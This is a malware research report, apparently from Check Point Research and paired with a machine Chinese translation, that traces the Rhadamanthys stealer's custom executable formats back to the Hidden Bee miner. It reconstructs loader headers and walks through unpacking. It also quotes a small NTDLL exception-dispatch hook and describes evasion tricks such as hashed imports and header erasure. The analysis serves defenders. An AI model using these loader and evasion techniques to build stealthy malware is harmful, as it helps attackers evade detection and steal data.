FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS

Highlights 突出

  • Rhadamanthys stealer’s design and implementation significantly overlap with those of Hidden Bee coin miner. The similarity is apparent at many levels: custom executable formats, the use of similar virtual filesystems, identical paths to some of the components, reused functions, similar use of steganography, use of LUA scripts, and overall analogous design.
    Rhadamanthys偷窃者的设计和实现与Hidden Bee硬币矿工的设计和实现明显重叠。相似性在许多层面上都很明显:自定义可执行格式、使用类似的虚拟文件系统、某些组件的相同路径、重用的功能、隐写术的类似使用、LUA 脚本的使用以及整体类似的设计。
  • Check Point Research (CPR) highlights and provides a technical analysis of some of those similarities, with a special focus on the custom executable formats. We present details of RS, HS, and the latest XS executable formats used by this malware.
    Check Point Research (CPR) 突出并提供了其中一些相似性的技术分析,特别关注自定义可执行格式。我们详细介绍了该恶意软件使用的 RS、HS 和最新的 XS 可执行格式。
  • We explain implementation details, i.e. the inner workings of the identical homebrew exception handling used for custom modules in both Rhadamanthys and Hidden Bee.
    我们解释了实现细节,即用于 Rhadamanthys 和 Hidden Bee 中自定义模块的相同自制异常处理的内部工作原理。
  • Basing on the Hidden Bee format converters, we provide a tool allowing to reconstruct PEs from the Rhadamanthys custom formats in order to aid analysis.
    基于隐藏的蜜蜂格式转换器,我们提供了一个工具,允许从Rhadamanthys自定义格式重建PE,以帮助分析。
  • We give an overview of particular stages and involved modules.
    我们概述了特定阶段和所涉及的模块。

Introduction 介绍

Rhadamanthys is a relatively new stealer that continues to evolve and gain in popularity. The earliest mention was in a black market advertisement in September 2022. The stealer immediately caught the attention of buyers as well as researchers due to its very rich feature set and its well-polished, multi-staged design. The malware seller, using the handle King Crete (kingcrete2022), and writing mostly in Russian, came across as very professional. Although malware sellers are not necessarily the original authors, the way King Crete responded to questions suggested an in-depth knowledge of the code, sparking curiosity and speculation on what other malware he may have authored (For more on the background and distribution of Rhadamanthys, see our previous article). The development of the malware is fast-paced and ongoing. The advertisement process is not stagnant either, with updates published i.e. on a Tor-based website. The latest advertised version up to date is 0.4.9 (Figure 1).
Rhadamanthys是一个相对较新的偷窃者,它继续发展并越来越受欢迎。最早提及是在 2022 年 9 月的黑市广告中。由于其非常丰富的功能集和精心打磨的多阶段设计,该偷窃者立即引起了买家和研究人员的注意。恶意软件卖家使用手柄克里特岛国王 (kingcrete2022),主要用俄语写作,给人的印象是非常专业的。虽然恶意软件卖家不一定是原始作者,但克里特岛国王回答问题的方式表明他对代码有深入的了解,引发了人们对他可能编写的其他恶意软件的好奇心和猜测(有关 Rhadamanthys 的背景和分布的更多信息,请参阅我们之前的文章)。恶意软件的开发节奏快且持续进行。广告过程也没有停滞不前,更新发布,即在基于 Tor 的网站上发布。最新公布的版本是0.4.9(图1)。

Figure 1: The author advertises the latest version: 0.4.9, over the
Telegram account
Figure 1: The author advertises the latest version: 0.4.9, over the Telegram account
图 1:作者在 Telegram 帐户上宣传最新版本:0.4.9

In addition to the rich set of stealing features, Rhadamanthys comes with some obfuscation ideas that are pretty niche. While the initial loader is a typical Windows PE, most of the core modules are delivered in the form of custom executable formats. The seller’s advertisement describes this feature in vague terms, which provide assurance about the quality without giving any hints about the implementation. As it says in the ad, “all functional operations are executed in memory, no disk packing operations, with the Loader that can execute loading in memory, it can perfectly realize memory loading operations” (Figure 2).
除了丰富的窃取功能集外,Rhadamanthys还附带了一些非常小众的混淆想法。虽然初始加载程序是典型的 Windows PE,但大多数核心模块都以自定义可执行格式的形式提供。卖方的广告以模糊的术语描述了此功能,它提供了有关质量的保证,而没有提供有关实施的任何提示。正如广告中所说,“所有功能操作都在内存中执行,没有磁盘打包操作,使用可以在内存中执行加载的加载器,它可以完美地实现内存加载操作”(图2)。

Figure 2: Advertisement from one of the forums describing the
Rhadamanthys stealer’s capabilities
Figure 2: Advertisement from one of the forums describing the Rhadamanthys stealer’s capabilities
图2:来自其中一个论坛的广告,描述了Rhadamanthys偷窃者的能力

Multiple researchers (i.e., from Kaspersky[2][3], ZScaller[4]) quickly noticed the similarities between the formats used by Rhadamanthys and the ones belonging to Hidden Bee, which is another complex malware consisting of multiple stages. Hidden Bee first appeared around 2018, and its final payload was a coin miner implemented by LUA scripts. Its main distribution channel used to be an Underminer Exploit Kit. Initially, it seemed that a lot of effort was put into the malware development. However, as time went by, it became more and more rare to find new samples. The last ones were observed in 2021. It is possible that the mining business no longer proved as profitable to the authors, so they decided to repurpose the code and began selling it to distributors.
多名研究人员(即来自卡巴斯基[ 2][ 3],ZScaller[ 4])很快注意到 Rhadamanthys 使用的格式与属于 Hidden Bee 的格式之间的相似之处,Hidden Bee 是另一种由多个阶段组成的复杂恶意软件。Hidden Bee 首次出现在 2018 年左右,它的最终有效载荷是由 LUA 脚本实现的硬币矿工。它的主要分销渠道曾经是破坏者漏洞利用工具包。最初,似乎在恶意软件开发中投入了大量精力。然而,随着时间的推移,找到新样本变得越来越罕见。最后一次是在 2021 年观察到的。采矿业务可能不再被证明对作者有利可图,因此他们决定重新利用代码并开始将其出售给分销商。

In this report, we review the custom formats used by both malware families and highlight their similarities. We present arguments supporting the theory that Rhadamanthys is a continuation of the work started as Hidden Bee.
在本报告中,我们回顾了两个恶意软件系列使用的自定义格式,并强调了它们的相似之处。我们提出了支持理论的论据,即Rhadamanthys是作为Hidden Bee开始的工作的延续。

We also offer converters that can reconstruct PE files from the custom formats, which enabled us to circumvent some of the problems other researchers noted while analyzing this malware and quickly reach the core of the stealer’s logic.
我们还提供可以从自定义格式重建 PE 文件的转换器,这使我们能够绕过其他研究人员在分析此恶意软件时注意到的一些问题,并快速到达窃取者逻辑的核心。

In the first part of the article, we show the Rhadamanthys execution chain, provide details about the formats and PE reconstruction, and compare their similarities with the Hidden Bee. In the second part, we show the code logic and how the stealer functionality is deployed.
在本文的第一部分中,我们展示了 Rhadamanthys 执行链,提供了有关格式和 PE 重建的详细信息,并比较了它们与 Hidden Bee 的相似之处。在第二部分中,我们将展示代码逻辑以及如何部署窃取程序功能。

NOTE: For the sake of readability, we use a convention that light mode IDA screenshots are related to Hidden Bee, while dark mode to Rhadamanthys.
注意:为了便于阅读,我们使用一种约定,即浅色模式 IDA 屏幕截图与隐藏蜜蜂相关,而暗模式与 Rhadamanthys 相关。

The joy of custom formats
自定义格式的乐趣

The use of customized executable formats in malware loaders is not something new. It is a form of obfuscation, making it more difficult for memory scanners to detect the loaded sample, as well as presents an additional obstacle for researchers during the analysis process. While most malware authors stick to writing custom PE loaders, some go further and modify selected parts of the format by their own creativity. Even more rare are components where the customization is advanced enough to make it a completely different format that has little or no resemblance to the PE.
在恶意软件加载程序中使用自定义的可执行格式并不是什么新鲜事。这是一种混淆形式,使内存扫描仪更难检测加载的样本,并在分析过程中给研究人员带来了额外的障碍。虽然大多数恶意软件作者坚持编写自定义 PE 加载程序,但有些人会走得更远,根据自己的创造力修改格式的选定部分。更罕见的是组件,其中自定义足够先进,使其成为完全不同的格式,与 PE 几乎没有相似之处。

The analysis of this phenomenon was described in the session “Funky malware formats”, presented at SAS 2019. One of the mentioned examples was a format used by Hidden Bee. However, the set of custom formats that this malware offered over time is very rich, and not all of them have been covered in the talk.
在SAS 2019上提出的“时髦的恶意软件格式”会议上描述了对这种现象的分析。提到的一个例子是Hidden Bee使用的格式。但是,随着时间的推移,该恶意软件提供的自定义格式集非常丰富,并且并非所有格式都已在演讲中涵盖。

Below, we will highlight two of the Hidden Bee formats that have the most in common with the ones used nowadays by Rhadamanthys. They will become a base for further comparison.
下面,我们将重点介绍两种隐藏的蜜蜂格式,它们与 Rhadamanthys 现在使用的格式最相似。它们将成为进一步比较的基础。

Hidden Bee formats: NE and NS
隐藏的蜜蜂格式:NE 和 NS

In a Malwarebytes article from 2018, two Hidden Bee formats have been mentioned: NE and NS, as well as their loading process. As we show later on, both of those formats share elements with the ones used by Rhadamanthys. In the NE format loader, we found some functions that also occur almost unchanged in the current malware’s components. The NS format is even more noteworthy as it is a direct predecessor of the formats used by Rhadamanthys.
在2018年的一篇Malwarebytes文章中,提到了两种隐藏的蜜蜂格式:NE和NS,以及它们的加载过程。正如我们稍后所展示的,这两种格式都与 Rhadamanthys 使用的元素共享。在 NE 格式加载器中,我们发现一些功能在当前恶意软件的组件中也几乎保持不变。NS格式更值得注意,因为它是Rhadamanthys使用的格式的直接前身。

The NE format 网元格式

NE is the simpler of the two mentioned formats, more closely resembling PE. The custom header is a replacement for the DOS header:
NE是上述两种格式中较简单的一种,更类似于PE。自定义标头是 DOS 标头的替代:

WORD magic; // 'NE' 文字魔术;“NE”
WORD pe_offset; 单词pe_offset;
WORD machine_id; 单词machine_id;

The rest of the headers are identical to PE, and only the “PE” magic identifier was erased.
其余标头与 PE 相同,仅擦除了“PE”魔术标识符。

As mentioned in the article [8] “The conversion back to PE format is trivial: It is enough to add the erased magic numbers: MZ and PE, and to move displaced fields to their original offsets. The tool that automatically does the mentioned conversion is available here.
正如文章 [ 8] 中提到的,“转换回 PE 格式是微不足道的:添加擦除的幻数:MZ 和 PE,并将位移字段移动到其原始偏移量就足够了。自动执行上述转换的工具可在此处获得。

While the NE format by itself is not particularly interesting, by looking inside the converted application, we can see some functions almost identical to the ones found in Rhadamanthys.
虽然 NE 格式本身并不是特别有趣,但通过查看转换后的应用程序,我们可以看到一些与 Rhadamanthys 中几乎相同的功能。

Handling exceptions from a custom module
处理来自自定义模块的异常

Custom loading some crucial fragments of the PE structure, such as imports and relocations, is relatively easy, but problems can occur if we want to convert a PE file with an exception table. Imagine that some of the code of our implant has try-catch blocks inside. The try block may cause an exception to be thrown, and the catch block is where they are normally handled. The list of those handlers is stored in the Exception Table, which is one of the Data Directories within a PE. If, for any reason, the proper handler is not found, the corresponding exception causes the application to crash. (For a more detailed explanation, reference Microsoft’s documentation). Interestingly, although there are many malware families that use custom loaders, they usually don’t address this part of the PE format. However, Hidden Bee, as well as its successor Rhadamanthys, don’t shy away from it.
自定义加载 PE 结构的一些关键片段(例如导入和重新定位)相对容易,但如果我们想转换带有异常表的 PE 文件,则可能会出现问题。想象一下,我们植入物的一些代码内部有 try-catch 块。该 try 块可能会导致引发异常,并且 catch 该块是通常处理它们的位置。这些处理程序的列表存储在异常表中,异常表是 PE 中的数据目录之一。如果由于任何原因找不到正确的处理程序,则相应的异常会导致应用程序崩溃。(有关更详细的说明,请参阅 Microsoft 的文档)。有趣的是,尽管有许多恶意软件系列使用自定义加载程序,但它们通常不会解决 PE 格式的这一部分。然而,Hidden Bee及其继任者Rhadamanthys并不回避它。

Let’s look into the main function where the NE module execution starts – first, a 64-bit example:
让我们看看 NE 模块执行开始的主函数 – 首先是一个 64 位示例:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 3: Main function of the module in NE format, 64-bit
图 3:NE 格式的模块的主要功能,64 位

The first step is a simple verification of the NE magic. When the check passes, the module initializes its exception directory (using the function denoted as add_dynamic_seh_handlers).
第一步是对NE魔法的简单验证。检查通过后,模块初始化其异常目录(使用表示为 add_dynamic_seh_handlers 的函数)。

Next, the error mode is being set to 0x8003 -> SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS. That means all error messages are muted, most likely to ensure stealth, just in case some of the exceptions within the module would not be handled properly.
接下来,错误模式设置为 0x8003 -> SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS 。这意味着所有错误消息都被静音,最有可能确保隐身,以防模块中的某些异常无法正确处理。

The function denoted as add_dynamic_seh_handlers shows how the exception handling for a custom module can be implemented for a 64-bit application:
表示为 的函数显示了如何为 64 位应用程序实现自定义模块的 add_dynamic_seh_handlers 异常处理:

Figure 4: A function registering custom exception handlers,
64-bit
Figure 4: A function registering custom exception handlers, 64-bit
图 4:注册自定义异常处理程序的函数,64 位

The solution looks fairly easy: the exceptions table is fetched from the module and then initialized by the Windows API function RtlAddFunctionTable. Thanks to this, whenever the exception is thrown from within the custom module, an appropriate handler will be found and executed.
解决方案看起来相当简单:异常表从模块中获取,然后由 Windows API 函数 RtlAddFunctionTable 初始化 .因此,每当从自定义模块中抛出异常时,都会找到并执行适当的处理程序。

However, the mentioned API function can be used only for 64-bit binaries and has no 32-bit equivalent. So, how do we manage an analogous situation for a 32-bit module? Let’s have a look at the 32-bit version of the NE module:
但是,上述 API 函数只能用于 64 位二进制文件,并且没有 32 位等效项。那么,我们如何管理32位模块的类似情况呢?我们来看看 NE 模块的 32 位版本:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 5: Main function of the module in NE format, 32-bit
图 5:32 位 NE 格式模块的主要功能

In this case, the author goes another approach by hooking the exception dispatcher (KiUserExceptionDispatcher) within the NTDLL. More precisely, a call to ZwQueryInformationProcess within the RtlDispatchException is redirected to a proxy function. As we will see, the same trick is used by Rhadamanthys.
在这种情况下,作者采用了另一种方法,在 NTDLL 中挂接异常调度程序 ( KiUserExceptionDispatcher )。更准确地说,对 内部 RtlDispatchException 的 ZwQueryInformationProcess 调用被重定向到代理函数。正如我们将看到的,Rhadamanthys使用了同样的技巧。

The original call to ZwQueryInformationProcess within NTDLL is replaced:
NTDLL ZwQueryInformationProcess 中的原始调用将被替换:

Figure 6: A hooked function RtlDispatchException within NTDLL. The
address marked red leads to the new, implanted module.
Figure 6: A hooked function RtlDispatchException within NTDLL. The address marked red leads to the new, implanted module.
图 6:NTDLL 中的挂钩函数 RtlDispatchException。标记为红色的地址通向新的植入模块。

The redirection leads to the function denoted as proxy_func, which is within the NE module:
重定向导致表示为 proxy_func 的函数,该函数位于 NE 模块中:

Figure 7: A proxy function within the NE module, where the hook
installed in NTDLL leads to
Figure 7: A proxy function within the NE module, where the hook installed in NTDLL leads to
图 7:NE 模块中的代理函数,其中安装在 NTDLL 中的钩子导致

The proxy function instruments the call to the ZwQueryInformationProcess and alters its result. First, the original version of the function is called. If it returns 0 (STATUS_SUCCESS), an additional flag is set on the output.
代理函数检测对 的 ZwQueryInformationProcess 调用并更改其结果。首先,调用函数的原始版本。如果返回 0 ( STATUS_SUCCESS ),则在输出上设置一个附加标志。

This method of handling exceptions from a custom module was documented in the following writeup: https://web.archive.org/web/20220522070336/https://hackmag.com/uncategorized/exceptions-for-hardcore-users/
处理来自自定义模块的异常的此方法记录在以下文章中:https://web.archive.org/web/20220522070336/https://hackmag.com/uncategorized/exceptions-for-hardcore-users/

We can see that the proxy function used by the Hidden Bee module is identical to the one proposed in the mentioned article. Quoted snippet:

NTSTATUS __stdcall xNtQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)
{
NTSTATUS Status = org_NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
if (!Status && ProcessInformationClass == 0x22) /* ProcessExecuteFlags */
*(PDWORD)ProcessInformation |= 0x20; /* ImageDispatchEnable */
return Status;
}

The above code enables the ImageDispatchEnable flag for the process, and as a result, the custom module is treated as a valid image (MEM_IMAGE), even though, in reality, it is loaded as MEM_PRIVATE. This simple trick is enough for the exception handlers to be found.

Demo:

We can see it reproduced in the following simplified PoC, which involves MS Detours as a hooking library and LibPEConv as a manual loader: https://gist.github.com/hasherezade/3a9417377cacd893c580bdffb85292c1. We can test it by deploying a manually loaded executable that throws exceptions: https://github.com/hasherezade/libpeconv/blob/master/tests/test_case7/main.cpp. The result shows that, indeed, the exception handlers are properly executed:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 8: Demo of a manually loaded PE, where exception handlers are installed by the method analogous to the one used by the NE format. All handlers got properly executed.

Without the applied hook, any exception thrown from the manually loaded module causes a crash.

The NS format

Way more interesting is the second format, starting with the magic “NS”. As we prove later, this is the basis of the formats that are now used for the Rhadamanthys components.

The visualization is shown below:

Figure 9: A diagram describing the NS format header. Source: [<a
href=
Figure 9: A diagram describing the NS format header. Source: [8]
图 9:描述 NS 格式标头的图表。来源: [ 8]

As we can see, the DOS header has been completely removed from the format. The information that is usually stored in the PE’s File Header and Optional Header was limited to the minimum and combined in a new structure. However, we still encounter some artifacts that resemble PE. Just after the NS identifier, comes the Machine ID, which has exactly the same value as the one from the PE’s File Header and is used to distinguish whether the module is 32 or 64-bit.
如我们所见,DOS标头已从格式中完全删除。通常存储在 PE 的文件头和可选头中的信息被限制为最低限度,并组合成一个新的结构。但是,我们仍然会遇到一些类似于PE的伪影。紧跟在 NS 标识符之后的是计算机 ID,它的值与 PE 的文件头中的值完全相同,用于区分模块是 32 位还是 64 位。

Next follows the minimized Data Directory, which contains only 6 records instead of the typical 16. The records are identical to the ones in the PE format: each contains RVA and Size, given as DWORDs. Directly after the Data Directory, there is a list of sections (the number of which is specified in the header). The records defining each section are a minimalist version of the ones from the PE format and contain only 4 fields: RVA, size, raw address, and characteristics.
接下来是最小化的数据目录,它只包含 6 条记录,而不是典型的 16 条记录。这些记录与 PE 格式的记录相同:每个记录都包含 RVA 和大小,以 DWORD 形式给出。在数据目录的后面,有一个部分列表(其编号在标题中指定)。定义每个部分的记录是 PE 格式的极简版本,仅包含 4 个字段:RVA、大小、原始地址和特征。

While the records of the Data Directory are mostly unchanged, the way some of the structures are loaded and defined has been modified. The Import Table structure is slightly smaller compared to the original one from the PE format. It is implemented as a list of the following records:
虽然数据目录的记录基本保持不变,但某些结构的加载和定义方式已被修改。与 PE 格式的原始结构相比,导入表结构略小。它实现为以下记录的列表:

Figure 10: The Import Table of an NS module. Source: [<a
href=
Figure 10: The Import Table of an NS module. Source: [8]
图 10:NS 模块的导入表。来源: [ 8]

The reconstructed header of the NS format:
重建的 NS 格式的标头:

const WORD NS_MAGIC = 0x534e;
常量单词 NS_MAGIC = 0x534e;
namespace ns_exe { 命名空间ns_exe {
const size_t NS_DATA_DIR_COUNT = 6;
常量 size_t NS_DATA_DIR_COUNT = 6;
enum data_dir_id {
枚举data_dir_id {
NS_IMPORTS = 1,
NS_IMPORTS = 1,
NS_RELOCATIONS = 3,
NS_RELOCATIONS = 3,
NS_IAT = 4
NS_IAT = 4
};
typedef struct {
typedef struct {
DWORD dir_va;
双字dir_va;
DWORD dir_size;
双字dir_size;
} t_NS_data_dir;
} t_NS_data_dir;
typedef struct {
typedef struct {
DWORD va;
DWORD VA;
DWORD size;
双字大小;
DWORD raw_addr;
DWORD raw_addr;
DWORD characteristics;
双字特征;
} t_NS_section;
} t_NS_section;
typedef struct {
typedef struct {
DWORD dll_name_rva;
双字dll_name_rva;
DWORD original_first_thunk;
双字original_first_thunk;
DWORD first_thunk;
双字first_thunk;
DWORD unknown;
DWORD 未知;
} t_NS_import;
} t_NS_import;
typedef struct NS_format {
typedef struct NS_format {
WORD magic; // 0x534e
WORD machine_id;
WORD sections_count;
WORD hdr_size;
DWORD entry_point;
DWORD module_size;
DWORD image_base;
DWORD image_base_high;
DWORD saved;
DWORD unknown1;
t_NS_data_dir data_dir[NS_DATA_DIR_COUNT];
t_NS_section sections[SECTIONS_COUNT];
} t_NS_format;
};

The complete converter of the NS format is available at:

Kernel mode NS modules

While the custom executable formats are, in general, uncommon, even more unusual was to see them used for kernel mode modules.

The function presented below shows a fragment of the loader used by Hidden Bee (module kloader.bin), whose role is to load drivers in the custom format (NS):

Figure 11: Fragment of the kernel-mode loader for NS format (Hidden
Bee, kloader.bin)
Figure 11: Fragment of the kernel-mode loader for NS format (Hidden Bee, kloader.bin)

To date, kernel mode modules haven’t been observed in Rhadamanthys. However, they show the authors’ diverse skills and how much they are invested in innovating various new formats.

Rhadamanthys formats: RS and HS

Custom formats RS and HS have been observed in Rhadamanthys version 0.4.1, and below.

Looking at their structure, we can see an uncanny similarity to the previously mentioned NS format, to the point that modifying the original Hidden Bee converter to support them was a matter of a short time. In this part, we will present their internals.

Unpacking the custom format

Reaching the components in the custom formats may not be straightforward and requires some unpacking skills. The initial Rhadamanthys module is a PE file distributed to victims during malicious campaigns. It is usually wrapped in some packer/crypter for additional protection. As Rhadamanthys is sold publicly and used by various distributors, the choice of which outer crypter is used may vary; hence, we will skip the related part. In many cases, we can quickly unpack it by mal_unpack/PEsieve.

Assuming that we got rid of the third-party layer, we are at the first Rhadamanthys executable (referred to as Stage 1). Tracing the application with Tiny Tracer quickly allows to find the offsets that should draw our attention. Fragment of the tracelog:

31f8;kernel32.HeapFree
326e;kernel32.HeapFree
3277;kernel32.HeapDestroy
1003;called: ?? [694000+730]
> 694000+9ff;kernel32.LocalAlloc
> 694000+7c9;kernel32.LocalAlloc
> 694000+96f;kernel32.LocalFree
> 694000+a44;kernel32.VirtualAlloc
> 694000+a88;kernel32.LocalFree
> 694000+a95;called: ?? [ca96000+1d4]
> ca96000+1de;called: ?? [ca95000+cae]
> ca95000+cff;called: ?? [ca96000+1e3]
> ca96000+1e8;called: ?? [ca95000+e73]
> ca95000+ecf;called: ?? [ca96000+1ed]

Reading the above snippet, we can pinpoint two places where the execution got redirected to the next unnamed module (possibly shellcode). First, the redirection from the main module happens at RVA 0x1003. Then, looking at the called functions (i.e. VirtualAlloc), we can assume there was another module unpacked by the first shellcode. The execution is redirected at shellcode’s offset 0xA95.

If we set a breakpoint at the first offset, we can follow those transitions under the debugger.

Figure 12: The execution is redirected from the main module to the
shellcode
Figure 12: The execution is redirected from the main module to the shellcode

The revealed shellcode is responsible for unpacking, remapping, and running the next stage, which is in a custom executable format. The module is shipped in a compressed form:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 13: Compressed RS module visible in memory

The shellcode decompresses it first, and the interesting structure gets revealed:

Figure 14: The decompression function is executed, revealing the RS
module
Figure 14: The decompression function is executed, revealing the RS module

As we can see, the unpacked stage is the first module in a custom executable format, RS.

The shellcode remaps the RS module from raw to virtual format into the newly allocated, executable memory area. For this purpose, it uses the information about the sections that is stored in the custom RS header.

Next, the execution is redirected to the Entry Point of the new module. Note that the new component still depends on the data passed from Stage 1. Its start function expects two arguments. The first one is the module’s own base. The second is a data structure, with two pointers leading to important blocks of data.
接下来,执行被重定向到新模块的入口点。请注意,新组件仍依赖于从阶段 1 传递的数据。它的启动函数需要两个参数。第一个是模块自己的基础。第二个是数据结构,有两个指向重要数据块的指针。

Figure 15: The data blocks from the Stage 1 propagated to the custom
module
Figure 15: The data blocks from the Stage 1 propagated to the custom module
图 15:阶段 1 传播到自定义模块的数据块
// passed structure with pointers to two data blocks
传递结构,指针指向两个数据块
struct mod_data { 结构mod_data {
_BYTE *compressed_data;
_BYTE *compressed_data;
_BYTE *url_config; _BYTE *url_config;
};

One of the addresses points to the compressed data block. This is a package in a proprietary format and contains other modules to be loaded. It is an equivalent of the virtual filesystems implemented in Hidden Bee (more details later in the report).
其中一个地址指向压缩数据块。这是一个专有格式的包,包含要加载的其他模块。它等效于在 Hidden Bee 中实现的虚拟文件系统(稍后将在报告中提供更多详细信息)。

The next component is a config, which contains the URL of the C2 that will be queried to download the next stage. The config is RC4 encrypted, using a 32-byte long, hardcoded key. For the analyzed cases, the key was:
下一个组件是一个配置,其中包含将查询以下载下一阶段的 C2 的 URL。该配置是 RC4 加密的,使用 32 字节长的硬编码密钥。对于分析的案例,关键是:

52 AB DF 06 B6 B1 3A C0 DA 2D 22 DC 6C D2 BE 6C 20 17 69 E0 12 B5 E6 EC 0E AB 4C 14 73 4A ED 51

The decrypted config for the currently analyzed version has the following structure:
当前分析版本的解密配置具有以下结构:

struct config_data { 结构config_data {
DWORD rhy_magic; //!RHY
双字rhy_magic;//!瑞
DWORD flags; 双字标志;
char next_key[16]; 夏亚next_key[16];
char c2_url[1]; 夏亚c2_url[1];
}

This configuration is embedded into the Rhadamanthys Stage 1 executable by the builder, which is a part of the toolkit sold to the distributors.
此配置由构建器嵌入到 Rhadamanthys Stage 1 可执行文件中,这是出售给分销商的工具包的一部分。

The RS format

Following the steps described above, we were able to dump a complete executable in the RS format in its raw version. Let’s now analyze the structure and the way it is loaded so that we can convert it back to the PE.

The header of the RS format has many similarities with the NS format, known from Hidden Bee. The reconstructed structures are presented below:

namespace rs_exe {
const size_t RS_DATA_DIR_COUNT = 3;
enum data_dir_id {
RS_IMPORTS = 0,
RS_EXCEPTIONS,
RS_RELOCATIONS = 2
};
typedef struct {
DWORD dir_size;
DWORD dir_va;
} t_RS_data_dir;
typedef struct {
DWORD raw_addr;
DWORD va;
DWORD size;
} t_RS_section;
typedef struct {
DWORD dll_name_rva;
DWORD first_thunk;
DWORD original_first_thunk;
} t_RS_import;
typedef struct {
WORD magic; // 0x5352
WORD machine_id;
WORD sections_count;
WORD hdr_size;
DWORD entry_point;
DWORD module_size;
t_RS_data_dir data_dir[RS_DATA_DIR_COUNT];
t_RS_section sections[SECTIONS_COUNT];
} t_RS_format;
};

As we could see under the debugger, the first steps required for loading the format are taken by the intermediary shellcode. It remaps the module from the raw format (which is more condensed) into the virtual one (ready to be executed). The reconstruction of the function responsible:

Figure 16: The function within the shellcode - unpacking the RS
module and preparing it to be executed
Figure 16: The function within the shellcode – unpacking the RS module and preparing it to be executed

Analyzing the above function, we can see that the shellcode decompresses the passed block of data, revealing the RS module in its raw form. The RS header is then parsed to obtain some needed information. First, a memory for the virtual image is allocated. The sections are then copied in a loop to that memory. This mechanism is very similar to the equivalent stage of PE loading. After the mapping is done, the Entry Point from the header is fetched, and the execution is passed there. This is where the intermediary shellcode’s role ends. The module itself proceeds with the remaining steps required for its own loading. Let’s have a look at the start function of the RS module:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 17: The start function of the RS module

The first few functions are exactly what we can expect in case of module loading, but they are implemented following the custom format. After the loading is finished, the module erases its own header in order to make it more difficult to dump and reconstruct it from memory.
前几个函数正是我们在模块加载时可以期望的,但它们是按照自定义格式实现的。加载完成后,模块会擦除自己的标头,以便更难从内存中转储和重建它。

Looking at the overall structure of the start function, we can see some similarities to the analogous functions of the Hidden Bee modules.
查看 start 函数的整体结构,我们可以看到与 Hidden Bee 模块的类似函数的一些相似之处。

The first function that is called at the start is to apply relocations – adjusting each absolute address in the module to the actual load base. The format used for relocation blocks doesn’t differ from the PE standard (it is the only artifact that was left unchanged for now), so we omit the detailed description.
开始时调用的第一个函数是应用重新定位 - 将模块中的每个绝对地址调整为实际负载基础。用于重新定位块的格式与 PE 标准没有区别(它是目前唯一保持不变的工件),因此我们省略了详细说明。

The next important function is for resolving all needed imports. The overview:
下一个重要功能是解析所有需要的导入。概述:

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 18: RS format imports loading function
图 18:RS 格式导入加载功能

As we know, functions imported from external libraries can be fetched in two ways: by names or by ordinals. Names stored in a binary can give a lot of hints about the module’s functionality, so malware authors often try to hide them. A popular technique to achieve this goal is by using hashes/checksums of the names. This is also implemented in the current format. In the case of functions that are expected to be loaded by name, the original string is erased and replaced by its checksum (that is, a DWORD stored at the corresponding offset of PIMAGE_IMPORT_BY_NAME). Upon loading, the actual name is searched by the checksum and then used as an argument to the standard WinAPI function GetProcAddress.
众所周知,从外部库导入的函数可以通过两种方式获取:按名称或按序号。存储在二进制文件中的名称可以提供有关模块功能的大量提示,因此恶意软件作者经常试图隐藏它们。实现此目标的一种流行技术是使用名称的哈希/校验和。这也以当前格式实现。对于预期按名称加载的函数,原始字符串将被擦除并替换为其校验和(即,存储在相应偏移量 的 PIMAGE_IMPORT_BY_NAME DWORD)。加载后,实际名称由校验和搜索,然后用作标准 WinAPI 函数 GetProcAddress 的参数。

Next, we can see the implementation of custom exception handling. The solution used is identical to the one from the previously described NE format of Hidden Bee (for more details, see “Handling exceptions from a custom module”).
接下来,我们可以看到自定义异常处理的实现。使用的解决方案与前面描述的 Hidden Bee 的 NE 格式的解决方案相同(有关更多详细信息,请参阅 “处理来自自定义模块的异常”)。

Figure 19: The function patching exception dispatcher within NTDLL.
More details in “Handling exceptions from a custom module”
Figure 19: The function patching exception dispatcher within NTDLL. More details in “Handling exceptions from a custom module”

An address of a call to ZwQueryInformationProcess was replaced, and now it points to the virtual offset 0x595e in the Rhadamanthys module.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 20: The fragment of the function within the modified NTDLL, viewed by IDA. An address of a function was replaced to redirect execution into the function within the Rhadamanthys module.

The function where the redirection leads is identical to what we saw in the case of Hidden Bee:

Figure 21: The proxy function for ZwQueryInformationProcess: sets the
“ImageDispatchEnable” flag for the process
Figure 21: The proxy function for ZwQueryInformationProcess: sets the “ImageDispatchEnable” flag for the process

After all the steps related to module loading, the main function, responsible for the core functionality of the module, is called. The details of the functionality are described in a later chapter.

The complete converter of the RS format is available here:

Demo

Converting the RS module (raw format) dumped from memory into PE:

Figure 22: Demo - using a prepared converter on the dumped RS module
to obtain a PE
Figure 22: Demo – using a prepared converter on the dumped RS module to obtain a PE

The input RS file: f9051752a96a6ffaa00760382900f643

The resulting output is a PE file, which can be further analyzed using typical tools, such as IDA.

FROM HIDDEN BEE TO RHADAMANTHYS – THE EVOLUTION OF CUSTOM EXECUTABLE FORMATS
Figure 23: Preview of the converted module (view from PE-bear)

The HS format

A similar, yet not identical, format is used for the modules that are unpacked by the Stage 2 main component (that is in the RS format described above). The HS format may also be used for the modules from the package downloaded from the C2.

Example – Stage 2 unpacks the embedded HS module: “unhook.bin

Figure 24: The RS module unpacking the HS module from the embedded
package
